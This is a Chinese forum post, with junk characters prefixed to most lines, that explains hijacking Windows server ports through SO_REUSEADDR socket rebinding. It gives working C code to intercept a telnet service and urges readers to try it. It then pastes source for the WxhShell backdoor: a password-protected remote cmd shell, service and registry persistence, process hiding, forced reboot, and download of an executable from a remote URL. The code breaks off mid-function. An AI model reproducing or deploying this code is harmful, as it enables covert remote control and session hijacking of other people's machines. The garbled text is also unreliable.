在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
6tFi\,)E s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
^qnmKA>"F m7DKC, saddr.sin_family = AF_INET;
J\P6 *MB>,HU saddr.sin_addr.s_addr = htonl(INADDR_ANY);
'qvj[lpGr K|YB)y bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
_ OC@J*4. BlQX$s] 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
^Kg n:l u~aRFQ: 这意味着什么?意味着可以进行如下的攻击:
Qz3Z_V4k9 5C&*PJ~WA 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
4hODpIF SiUu**zC 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
$rI 1|;^ Fn7OmxfD 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Qn,6s%n
ZP5 !O[Ut 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
IzJq:G. B0%=! & 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
[orL.D] [iEz?1., 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
S>r",S O`Gq7=X 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
vaGF(hfTA @0 /qP<E #include
-sfv"? #include
;}j(x;l>t #include
&iVdqr1, #include
2 U]d1 DWORD WINAPI ClientThread(LPVOID lpParam);
P6R_W int main()
RFyMRE!? {
y;uR@{ WORD wVersionRequested;
z V\+za, DWORD ret;
t2s/zxt WSADATA wsaData;
wV"`Du7E; BOOL val;
"J`&"_CyZ SOCKADDR_IN saddr;
Be=rBrI> SOCKADDR_IN scaddr;
CF2Bd:mfZ int err;
@J"tM. SOCKET s;
VOLj#H SOCKET sc;
O|~C qb int caddsize;
EgU#r@7I HANDLE mt;
=jJEl=*S DWORD tid;
o]Rlivahm wVersionRequested = MAKEWORD( 2, 2 );
qQi\/~Y[: err = WSAStartup( wVersionRequested, &wsaData );
(XQuRL<X if ( err != 0 ) {
6:O<k2=2 printf("error!WSAStartup failed!\n");
Ca
PHF@6WN return -1;
weSq|f }
lOk8VlH<h saddr.sin_family = AF_INET;
9MYk5q.X: pX
^^0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
QCF'/G ^w.hI5ua) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
~?AEtl#&" saddr.sin_port = htons(23);
C=/B\G/.9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
J+J,W5t^ {
]mb8R:a1 printf("error!socket failed!\n");
U8w_C\Q return -1;
E5d$n*A }
Z0jgUq`r val = TRUE;
/}(d'@8p //SO_REUSEADDR选项就是可以实现端口重绑定的
+t+<?M B if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
:q]9F4im {
^k;]"NR printf("error!setsockopt failed!\n");
LmePJ return -1;
@)?]u
U"L }
lGl'A}]#$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
&~
y)b`r //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
cKe %P|8 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
C/Khp + )ODF6Ag if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
&$F<]]& {
Jpj=d@Of70 ret=GetLastError();
vRmn61 printf("error!bind failed!\n");
jdP)y]c return -1;
LdV&G/G-#D }
S{rltT- listen(s,2);
CwA_jOp while(1)
ViPC Yt`of {
X#lNS+&=' caddsize = sizeof(scaddr);
P5h|* ?= //接受连接请求
d9#Vq=H / sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
xzm]v9k& if(sc!=INVALID_SOCKET)
z%%O-1 {
W]9*dabem mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ff\~`n~WZ if(mt==NULL)
hm`=wceK {
4VWk/HK-! printf("Thread Creat Failed!\n");
LH8jT break;
RZm%4_p4s }
[@vz0!@s5 }
NQk aW) CloseHandle(mt);
GiV%Hcx }
zTF{ g+ closesocket(s);
O?JJE8~'] WSACleanup();
NXU:b"G
S return 0;
V&M*,#(? }
}}JMwT
DWORD WINAPI ClientThread(LPVOID lpParam)
=?<WCR
C* {
`Vb SOCKET ss = (SOCKET)lpParam;
]:<!( SOCKET sc;
h[ DNhR unsigned char buf[4096];
T{k
P9
4 SOCKADDR_IN saddr;
<v:VA!] long num;
5ilGWkb`'X DWORD val;
N+|NI?R?} DWORD ret;
GM%+yS}(P //如果是隐藏端口应用的话,可以在此处加一些判断
}02`ve* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
jwDlz.sW! saddr.sin_family = AF_INET;
@ _Ey"k< saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
r]DiB:. saddr.sin_port = htons(23);
}TmOoi(X@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~~tTr$ {
%ou,|Dww printf("error!socket failed!\n");
{ez$kz return -1;
`>g G"1,] }
wA"@t val = 100;
!Zz;;Z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$MQ}+*Wr {
cO~<iy
ret = GetLastError();
Z!1D4`w return -1;
9%/hoA) }
+$dJA if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
z%;plMj {
iC
gZ3M] ret = GetLastError();
:Ha/^cC/3 return -1;
&L;ocd$ }
=3e7n2N) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
"O&93#8 {
Q`ua9oIJ= printf("error!socket connect failed!\n");
^SdF\uk{?6 closesocket(sc);
T*z]<0E] closesocket(ss);
Xwm3# o.&) return -1;
l!mbpFt }
Z'z)Oo while(1)
rbw$=bX} {
ToXWFX //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
`fu_){ //如果是嗅探内容的话,可以再此处进行内容分析和记录
@I_cwUO //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
I{Zb/}k- num = recv(ss,buf,4096,0);
RLmOg{L if(num>0)
WE<?y_0y& send(sc,buf,num,0);
N9e'jM>Oos else if(num==0)
"TV'}HH break;
&`"DG$N( num = recv(sc,buf,4096,0);
$*yYmF if(num>0)
*]6g-E?:@ send(ss,buf,num,0);
o.+;]i}D else if(num==0)
Dp@XAyiA[ break;
~ZHjP_5Q }
oxwbq=a6yV closesocket(ss);
[2%[~&4 closesocket(sc);
vl"w,@V7 return 0 ;
'0<d9OlJ} }
t&r.Kf9Z\ p8rh`7 l& :EKh ==========================================================
tcD7OC:"6 ;FPx 下边附上一个代码,,WXhSHELL
Pf*6/7S: b/SBQ"B% ==========================================================
jk AjYR . zTz}H*U #include "stdafx.h"
`c`VIq?
Ma YU%h0 #include <stdio.h>
`zd,^.i5~ #include <string.h>
vCzZjGBY #include <windows.h>
*FS8]!Qg #include <winsock2.h>
`KJ(. m #include <winsvc.h>
SQp|
#include <urlmon.h>
( xs'D4 pGbfdX
#pragma comment (lib, "Ws2_32.lib")
i! .]U@{k #pragma comment (lib, "urlmon.lib")
DeO-@4+qKd FXQWT9Kk~_ #define MAX_USER 100 // 最大客户端连接数
ke4E1T-1n #define BUF_SOCK 200 // sock buffer
#EzBB*kP
#define KEY_BUFF 255 // 输入 buffer
Dd3f@b[WX -;""l{ #define REBOOT 0 // 重启
=o@;K~- #define SHUTDOWN 1 // 关机
48^-]}; qt"D!S_ #define DEF_PORT 5000 // 监听端口
A2_ut6&eb l=@ B 'a #define REG_LEN 16 // 注册表键长度
<_EKCk #define SVC_LEN 80 // NT服务名长度
peQwH B}e/MlX3M // 从dll定义API
nzq
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
rTPgHK]?l typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
J2mHPVA3 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
uYJS=NGNA typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
sS D8Sx/ AjzTszByu // wxhshell配置信息
-<W?it?D struct WSCFG {
|23F@s1 int ws_port; // 监听端口
wi(Y=?= char ws_passstr[REG_LEN]; // 口令
5NU{y+ int ws_autoins; // 安装标记, 1=yes 0=no
Ln"wjO, char ws_regname[REG_LEN]; // 注册表键名
;kFD769DLw char ws_svcname[REG_LEN]; // 服务名
ClG%zE&i char ws_svcdisp[SVC_LEN]; // 服务显示名
2qMiX|Y char ws_svcdesc[SVC_LEN]; // 服务描述信息
wQ_4_W char ws_passmsg[SVC_LEN]; // 密码输入提示信息
~#_~DqbMZ5 int ws_downexe; // 下载执行标记, 1=yes 0=no
:@A&HkF char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Y
},E3< char ws_filenam[SVC_LEN]; // 下载后保存的文件名
/K=OsMl2b8 u4x-GObJM };
S{c/3k~ *a9cBl'_ // default Wxhshell configuration
*"%TAe7?~+ struct WSCFG wscfg={DEF_PORT,
]\,?u / "xuhuanlingzhe",
["-rDyP 1,
z0"t]4s "Wxhshell",
<Ap_# "Wxhshell",
X! d-"[ "WxhShell Service",
Gh;\"Qx "Wrsky Windows CmdShell Service",
l;?:}\sI= "Please Input Your Password: ",
pUIN`ya[[ 1,
Q(|@&83]. "
http://www.wrsky.com/wxhshell.exe",
A8{jEJ=)P "Wxhshell.exe"
ZmA}i`
};
7?P'f3)fG dwO fEYC // 消息定义模块
RS5<] dy char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
crmQn ^4\ char *msg_ws_prompt="\n\r? for help\n\r#>";
W .a>K$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
byHc0ktI\ char *msg_ws_ext="\n\rExit.";
i3-5~@M char *msg_ws_end="\n\rQuit.";
)aS:h}zn char *msg_ws_boot="\n\rReboot...";
Q*DT" W/0 char *msg_ws_poff="\n\rShutdown...";
m\:^9A4HCg char *msg_ws_down="\n\rSave to ";
MZgaQU g YteIp'T char *msg_ws_err="\n\rErr!";
bnxp[Qk|5 char *msg_ws_ok="\n\rOK!";
1p&.\ ^ 5100fX} char ExeFile[MAX_PATH];
{K^5q{u int nUser = 0;
bz*@[NQ HANDLE handles[MAX_USER];
\GFqRRn int OsIsNt;
U2Ve @. Vt`4u5HG SERVICE_STATUS serviceStatus;
'+Dsmoy SERVICE_STATUS_HANDLE hServiceStatusHandle;
xIdb9hm< JrP`u4f_ // 函数声明
)gpN
5TDd int Install(void);
pdu1 kL int Uninstall(void);
vYgJu-Sl int DownloadFile(char *sURL, SOCKET wsh);
/[R=-s ; int Boot(int flag);
inu.U[. void HideProc(void);
HQ-[k$d
W4 int GetOsVer(void);
wL;OQhI int Wxhshell(SOCKET wsl);
lrrTeE* void TalkWithClient(void *cs);
*G"hjc$L int CmdShell(SOCKET sock);
X3:1KDVsV int StartFromService(void);
"~r<ZG int StartWxhshell(LPSTR lpCmdLine);
t]xz7VQ &3vm
@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
> ,6 VOID WINAPI NTServiceHandler( DWORD fdwControl );
1[P}D~ nQ pa-*&p // 数据结构和表定义
D#GuF~-F!R SERVICE_TABLE_ENTRY DispatchTable[] =
g#S
X$k-O {
E|=x+M1sH {wscfg.ws_svcname, NTServiceMain},
gS(3 m_ {NULL, NULL}
CL<-3y* };
GSA+A7sZ :ez76oGyc // 自我安装
+3,7 Apj int Install(void)
F|%PiC,,qO {
)nd^@G^ char svExeFile[MAX_PATH];
b9g2mWL\T HKEY key;
*|&Y ,H? strcpy(svExeFile,ExeFile);
g *5_m(H g[cnaS|? // 如果是win9x系统,修改注册表设为自启动
u#6s^
)W if(!OsIsNt) {
{i>AQ+z61f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!@C-|=9G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Zpd-ob RegCloseKey(key);
#}Qe{4L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/_{-~0Z=@B RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
T;u;r@R/ RegCloseKey(key);
P@y)K!{Nk return 0;
rCJ$Pl9R }
*`a$6F7m4 }
3.movkj }
]&D dy&V else {
C eEhe }B%9cc // 如果是NT以上系统,安装为系统服务
*r.%/^@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
b+Q{Z* if (schSCManager!=0)
+2[0q% i {
9KK^1<46c SC_HANDLE schService = CreateService
/&6{}n (
[3dGHf;miw schSCManager,
@(R=4LL wscfg.ws_svcname,
+9/K|SB{$ wscfg.ws_svcdisp,
`;mgJD SERVICE_ALL_ACCESS,
G}U <^]c SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
uQG|r)
SERVICE_AUTO_START,
EH".ki=e SERVICE_ERROR_NORMAL,
r'noB<|e svExeFile,
%
J\G[dl NULL,
W@!qp NULL,
UVDMYA0 NULL,
O0}uY:B NULL,
7\@c1e*e
NULL
IlJ"t`Z9) );
NXD- if (schService!=0)
y,?=,x}o# {
=1 Plu5 CloseServiceHandle(schService);
C\{A|'l!x CloseServiceHandle(schSCManager);
m9h<)D '> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
5,xPB5pK strcat(svExeFile,wscfg.ws_svcname);
(
yLu= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
dr)*.<_+a( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
%=z>kU1| RegCloseKey(key);
z/#,L!Z3 return 0;
Le83[E*i }
0 Rb3|te }
5$i(f8* CloseServiceHandle(schSCManager);
7,)E1dx -V }
r?KRK?I }
0H rvr )]n>.ZmLCB return 1;
g Cp`J(2v: }
kNP-+o KXZG42w // 自我卸载
LYAGpcG int Uninstall(void)
Fs>MFj {
[XPAI[" HKEY key;
r@JMf)a] Zzlt^#KLx if(!OsIsNt) {
=lv( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ll}_EUF| RegDeleteValue(key,wscfg.ws_regname);
HRTNIx RegCloseKey(key);
/$93#$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^/%o
I;O{ RegDeleteValue(key,wscfg.ws_regname);
'*[7O2\%/ RegCloseKey(key);
HFB>0<$ return 0;
e'~Qe_ }
Uhu?G0>O }
SN|!FW.*: }
C;ab-gh else {
YdV.+v(30 JQLQS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
P|1 D6 if (schSCManager!=0)
RrLj5 Jq {
_9-;35D_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
_W@sFv%sj if (schService!=0)
*/~|IbZ`o {
[#wt3<d`) if(DeleteService(schService)!=0) {
3N]ushMO CloseServiceHandle(schService);
p7+>]sqX CloseServiceHandle(schSCManager);
!pfpT\i]N: return 0;
C!_=L?QT^ }
"[/W+&z[~ CloseServiceHandle(schService);
(]k Q9}8 }
S#CaJ}M CloseServiceHandle(schSCManager);
?i_2ueVR }
Vuy%7H }
t(<k4 ji, /?BTET return 1;
IUAe6 }
!C4)P3k .WeSU0XG // 从指定url下载文件
Q@p'nE, int DownloadFile(char *sURL, SOCKET wsh)
p v4#`.m {
BZOl&G( HRESULT hr;
dJzaP char seps[]= "/";
E*R-Dno_F char *token;
/0`Eux\ char *file;
nYC.zc*o x char myURL[MAX_PATH];
bfUKh%!M char myFILE[MAX_PATH];
n=f?Q=h\3 "4KyJ;RA* strcpy(myURL,sURL);
Na]ITCVR token=strtok(myURL,seps);
Tb^1#O while(token!=NULL)
?AO=)XV2 {
zgS)j9q} file=token;
ys) token=strtok(NULL,seps);
X'.lh#& }
">B&dNrt s o: o
b} GetCurrentDirectory(MAX_PATH,myFILE);
}.u[';q]S strcat(myFILE, "\\");
gdAd7
T strcat(myFILE, file);
.R)Ho4CE send(wsh,myFILE,strlen(myFILE),0);
I+Y Z+ send(wsh,"...",3,0);
RYl{89 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
cEXd#TlY~X if(hr==S_OK)
>;G7ty[RX7 return 0;
z$Z%us>io else
LvGo$f/9 return 1;
R
{-M%n4w K7$Q. }
=C#z Px, hey/#GC* // 系统电源模块
! qtj1.w int Boot(int flag)
/2r&ga& {
)MV `'i HANDLE hToken;
79Aa~ +i'_ TOKEN_PRIVILEGES tkp;
`&) 7lOAu]Zx if(OsIsNt) {
1)e[F#| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
lq1223
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
V1i^#; tkp.PrivilegeCount = 1;
Dir# [j tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
t&yuo E AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
/^i_tLgb if(flag==REBOOT) {
YY>&R'3[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
wd,6/5=lh return 0;
2#R0Bd }
K-(C5 "j_ else {
t }K8{
V if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
%h_N%B$7c1 return 0;
#VZ-gy4$\B }
.i7"qq.M }
;M+~e~ else {
{6}$XLV3l if(flag==REBOOT) {
-hK^ *vJ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
wO%617Av return 0;
v&])D/a }
'\pSUp else {
gYpFF=7j<@ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
%~dn5t; return 0;
25vq#sS] }
Pr/q?qZY }
YEiw! 7&dF=/:X@ return 1;
mt *Dx }
5M%)*.Y
3[ C]zG@O! // win9x进程隐藏模块
1LmbXH]% void HideProc(void)
Z'wGZ( {
-ADb5-px H'@@%nO( HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
"NV~lJS% if ( hKernel != NULL )
f1\mE~#} {
Mf9x=K9 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
w!UIz[ajI ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
0b=00./o FreeLibrary(hKernel);
|UQGZ }
Fp+fZU On;7 return;
!'bZ|j% }
m*AiP]Qu 9*a"^ // 获取操作系统版本
oC TSV int GetOsVer(void)
LD;!
s {
7U)w\A;~ OSVERSIONINFO winfo;
gp\o|igT winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
%pxHGO=)E GetVersionEx(&winfo);
%8KbVjn if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
cS",Bw\ return 1;
5n=~l[O else
wWJM./y return 0;
7$kTeKiP }
+W|VCz 7MX5hZF" // 客户端句柄模块
:<6gP( int Wxhshell(SOCKET wsl)
xy^z_` {
wA";N=i= SOCKET wsh;
xqj@T^y struct sockaddr_in client;
E**Hu 9 DWORD myID;
Uot LJa 69Q#UJ while(nUser<MAX_USER)
W>$mU&ew[ {
uF@DJX}> int nSize=sizeof(client);
DbN_(mC wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
VpxsgCS if(wsh==INVALID_SOCKET) return 1;
"2
qivJ F,xFeq$/{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
239gpf]} if(handles[nUser]==0)
d?[8VfAnh closesocket(wsh);
GS,}]c= else
1[(/{CClB nUser++;
\2[ }
qD(dAU WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
KhNE_.
Z {G-y7y+E return 0;
iB*1Yy0DC }
tIW~Ng j[$+hh3: // 关闭 socket
Mir(
}E void CloseIt(SOCKET wsh)
<OGXKv@ {
XNkZ^3mq closesocket(wsh);
.#Lu/w' -M nUser--;
B|kIiL63
D ExitThread(0);
VBg
M7d }
r4pR[G._ &bwI7cO // 客户端请求句柄
eq4Yc*|9 void TalkWithClient(void *cs)
M^y5 Dep {
1v9#Fr Y <)$JA SOCKET wsh=(SOCKET)cs;
q}p
(p( N char pwd[SVC_LEN];
Z7=k$e char cmd[KEY_BUFF];
|EP=<-| char chr[1];
QqB9I-_ int i,j;
!@f!4n.e|I l\&Tw[O while (nUser < MAX_USER) {
. L]!* L@~0`z:>iP if(wscfg.ws_passstr) {
B"Ttr+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
m$^v/pLkM //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,z|g b]\ //ZeroMemory(pwd,KEY_BUFF);
,Y27uey{wa i=0;
&BRi& &f while(i<SVC_LEN) {
=R||c }b]z+4Ua( // 设置超时
X8 fd_set FdRead;
xY`$j'u struct timeval TimeOut;
'8"$:y FD_ZERO(&FdRead);
j7=x&)qbx FD_SET(wsh,&FdRead);
ka| 8 _C^z TimeOut.tv_sec=8;
FrQRHbp3 TimeOut.tv_usec=0;
X[$FjKZh=F int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
uVLKR PY if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
6cTd
SE Eh.NJI( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
@l@erCw@ pwd
=chr[0]; +r 8/\'u-
if(chr[0]==0xd || chr[0]==0xa) { ?&$BQK
pwd=0; e/y\P&"eI
break; y(=$z/
} Mzj|57:gx
i++; "S0WFP\P+
} Tf.DFfV#y
Yi#U~ h
// 如果是非法用户,关闭 socket FSkz[D_}
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); McRfEF\
} ~|=goHmm[
2!g7F`/B
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L%0G >2x
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hge0$6l
hH=}<@z
while(1) { qku!Mg
@SH$QUM(
ZeroMemory(cmd,KEY_BUFF); 7\ kixfEg
gw v
s
// 自动支持客户端 telnet标准 Y
#6G&)M
j=0; ^ub@Jwe
while(j<KEY_BUFF) { O",*N
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "1>48Z-UC
cmd[j]=chr[0]; hd_<J]C
if(chr[0]==0xa || chr[0]==0xd) { FKk.BA957h
cmd[j]=0; nY 50dFA,
break; "/$2oYNy+
} l5CFm8%
j++; H 5'Ke+4.e
} "DU1k6XC
okQ<_1e{
// 下载文件 J=AF`[
if(strstr(cmd,"http://")) { ?bH!|aW(H
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^mCKRWOP'
if(DownloadFile(cmd,wsh)) |lVoL.Z,0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _*LgpZ-2(
else W60C$*h
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +|TFxaVz
} RP~ hi%A
else { Eh/Z4pzT
eaCh;IpIf
switch(cmd[0]) { !5=S2<UX
}J|Pd3Q Sf
// 帮助 I&|J +B?#
case '?': { 8;1,saA_9
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !t!\b9=
break; b[`fQv$G
} 2mfKy9QxO
// 安装 fFJu]
case 'i': { 7':qx}c#!1
if(Install()) db5@+_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )|`|Usn#[
else M
Qlx&.>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); db0]D\
break; ])H[>.?K
} XPsRa[08WK
// 卸载 .|z8WF*
case 'r': { j55;E
E!
if(Uninstall()) {<y.G1<.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GR>kxYM%q
else Hw
1cc3!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rr6}$]1
break; BoHpfx1C
} E7>D:BQ\2
// 显示 wxhshell 所在路径 GLE"[!s]f
case 'p': { %e%VHHO|
char svExeFile[MAX_PATH]; Ue2%w/Yo
strcpy(svExeFile,"\n\r"); n(?BZ'&!O
strcat(svExeFile,ExeFile); Gsa~zGN
send(wsh,svExeFile,strlen(svExeFile),0); ?5jq)xd2
break; Va3/#is'
} 8a,pDE
// 重启 L@>$
Aw
case 'b': { JJVdq-k+`
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PiZU_~A
if(Boot(REBOOT)) +jN%w{^=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5tQZf'pHfd
else { 5><KTya?=
closesocket(wsh); IT=<p60"
ExitThread(0); mVNHH!
} ~"}o^#@DwJ
break; Z,}c)
} = &"x6F.`
// 关机 '4]_~?&x
case 'd': { F0]xc
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >N8*O3
if(Boot(SHUTDOWN)) \zx$]|AQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |cIv&\ x
else { 8c^Hfjr0
closesocket(wsh); ^< wn
ExitThread(0); $BUm,
} G7uYkJO
break; bTbF
} UNJAfr P
// 获取shell 1Zt>andBF
case 's': { \^]*T'>b
CmdShell(wsh); bK#SxV
closesocket(wsh);
GW\66$|
ExitThread(0); J`xCd/G
break; 35/K9l5
} `|WEzW~
// 退出 T3,}CK#O
case 'x': { L. DD
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +\)a p
CloseIt(wsh); cT(=pMt8>
break; KuJNKuHa.
} :jr`}Z%;y
// 离开 +Hkr\
case 'q': { 5Vj O:>
send(wsh,msg_ws_end,strlen(msg_ws_end),0); $~)YI/b
closesocket(wsh); s|\\"3
WSACleanup(); B<\HK:%{
exit(1); ^\C Fke=
break; gi #dSd1\&
} SI,
t:=D
} vtF|:*h
} EaKbG>
><i: P*ht
// 提示信息 am+w<NJ(us
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P^[y~I#{
} _bn
"c@s
} 9>9,
yV?qX\~*
return; K7c[bhi_w
} j06qr\Es
7(l>Ck3B#
// shell模块句柄 XJe}^k
int CmdShell(SOCKET sock) 2KtK.2; 7
{ TXo`P_SE
STARTUPINFO si; kJK*wq]U6
ZeroMemory(&si,sizeof(si)); YDYN#Ob(;
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l!mx,O`
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gfJHB3@
PROCESS_INFORMATION ProcessInfo; L L?
.E
char cmdline[]="cmd"; )f,9 h
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NOFuX9/'w
return 0; t-Uo
} TyY%<NCIb
7KL@[
// 自身启动模式 WS//0
int StartFromService(void) 6uIgyO*;k
{ +E-CsNAZ*"
typedef struct EhAaaG
{ {"c`k4R
DWORD ExitStatus; 6/6{69tnr
DWORD PebBaseAddress; Vw]!Kb7tA
